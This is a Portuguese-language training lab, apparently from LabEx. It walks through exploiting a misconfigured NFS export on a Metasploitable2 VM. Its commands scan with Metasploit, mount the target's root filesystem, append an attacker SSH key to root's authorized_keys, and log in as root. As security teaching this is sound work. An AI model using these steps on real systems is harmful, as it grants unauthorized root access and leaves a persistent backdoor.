Introdução
O Network File System (NFS) é um protocolo de sistema de arquivos distribuído que permite aos usuários acessarem arquivos remotos como se fossem locais. No entanto, a configuração inadequada do NFS pode levar a graves vulnerabilidades de segurança, permitindo que invasores obtenham acesso não autorizado ao sistema. Neste laboratório, você aprenderá como explorar a configuração incorreta do NFS para obter acesso root a uma máquina alvo.
O objetivo deste laboratório é entender os riscos associados à configuração incorreta do NFS e aprender como realizar um ataque bem-sucedido baseado em NFS. Ao final do laboratório, você terá adquirido experiência prática na identificação de compartilhamentos NFS, montando-os localmente e aproveitando a configuração incorreta para obter privilégios de root no sistema alvo.
Verificar Compartilhamentos NFS
Nesta etapa, você usará o Metasploit Framework para escanear a máquina alvo em busca de compartilhamentos NFS.
Agora você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.
- Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2
Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.
- Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
- Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host --privileged b5b709a49cd5 bash
Há um parâmetro extra --privileged, que é usado para que o root dentro do container tenha privilégios de root reais, caso contrário, o root dentro do container é apenas um usuário normal com privilégios externos. Iniciar um container com o parâmetro --privileged permitirá que você veja muitos dos dispositivos no host e execute um mount, e até mesmo permitirá que você inicie containers docker dentro de containers docker.
- Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102
Pressione Ctrl+C para parar o ping.
Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.
- Agora, inicie o console Metasploit:
cd ~
msfconsole
- No console Metasploit, use o módulo
auxiliary/scanner/nfs/nfsmountpara escanear por compartilhamentos NFS:
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit
Este módulo irá escanear o sistema alvo e exibir quaisquer compartilhamentos NFS exportados.
Pressione Ctrl+D para sair do console Metasploit e então iniciar a inspeção
Montar o Compartilhamento NFS
Nesta etapa, você montará o compartilhamento root NFS no container Kali.
Primeiro, instale o pacote nfs-common:
cd /
apt-get install -y nfs-common
Monte o compartilhamento root NFS:
mount -t nfs -o nolock 192.168.122.102:/ /mnt
Este comando montará o diretório raiz (/) do sistema alvo no diretório /mnt no container Kali.
Verifique se o compartilhamento NFS está montado corretamente listando o conteúdo do diretório /mnt:
ls /mnt
Você deve ver o conteúdo do diretório raiz do sistema alvo.
Criar Par de Chaves SSH
Nesta etapa, você criará um par de chaves SSH para habilitar o acesso SSH sem senha ao sistema alvo.
Gere um par de chaves SSH:
ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa
Este comando criará dois arquivos: /root/.ssh/id_rsa (chave privada) e /root/.ssh/id_rsa.pub (chave pública).
Habilitar Acesso SSH Sem Senha
Nesta etapa, você adicionará a chave pública ao arquivo de chaves autorizadas do sistema alvo, habilitando o acesso SSH sem senha.
Copie a chave pública para o arquivo de chaves autorizadas do sistema alvo:
cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
Este comando anexará o conteúdo do seu arquivo de chave pública ao arquivo /root/.ssh/authorized_keys no sistema alvo.
Obter Acesso Root
Nesta etapa, você usará o acesso SSH sem senha para fazer login como o usuário root no sistema alvo.
Conecte-se ao sistema alvo usando SSH:
ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102
Você agora deve ter um shell root no sistema alvo sem ser solicitado uma senha.
Resumo
Neste laboratório, você aprendeu como explorar uma configuração incorreta do NFS para obter acesso root não autorizado a um sistema alvo. Você começou escaneando por compartilhamentos NFS usando o Metasploit Framework, e então montou o compartilhamento root NFS em sua máquina local. Em seguida, você criou um par de chaves SSH e adicionou a chave pública ao arquivo de chaves autorizadas do sistema alvo, habilitando o acesso SSH sem senha. Finalmente, você usou o acesso SSH sem senha para fazer login como o usuário root no sistema alvo.
Este laboratório demonstrou a importância de configurar corretamente os compartilhamentos NFS e os riscos potenciais associados à configuração incorreta. Ao entender essas vulnerabilidades, você pode proteger melhor seus sistemas e se defender contra possíveis ataques.



